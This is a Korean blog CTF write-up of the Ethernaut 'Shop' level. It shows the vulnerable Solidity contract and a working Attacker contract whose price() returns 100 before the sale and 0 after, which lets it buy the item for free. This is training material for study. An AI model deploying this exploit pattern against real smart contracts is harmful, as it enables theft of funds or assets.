Write Up/Ethernaut [Ethernaut] Shop - 반응형 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Buyer { function price() external view returns (uint); } contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } } } 우리의 mission은 현재 가격보다 낮게 물건을 사야 한다. 현재 물건을 팔리지 않았고 가격은 100 token이다. 이 문제는 Elevator랑 비슷한 문제이다. if문을 보면 _buyer.price()로 먼저 price보다 큰지 확인하고 맞으면 price는 _buyer.price()가 된다. 그럼 price()가 if문에서는 100보다 크고, price에 대입할 때는 100보다 작으면 된다. contract Attacker{ Shop shop; constructor(address _address) public { shop = Shop(_address); } function price() external view returns(uint) { return shop.isSold() ? 0 : 100; } function Attack() public { shop.buy(); } } Attack을 누른 결과 물건은 팔렸고 가격은 0원으로 공짜로 얻었따!! 반응형 공유하기 URL 복사카카오톡 공유페이스북 공유엑스 공유 게시글 관리 구독하기Rheuns의 화이트해커 성장기 저작자표시 비영리 변경금지 Contents 당신이 좋아할만한 콘텐츠 [Ethernaut] Dex Two 2023.02.15 [Ethernaut] Dex 2023.02.15 [Ethernaut] Denial 2023.02.13 [Ethernaut] Alien Codex 2023.02.10 댓글 0 + 이전 댓글 더보기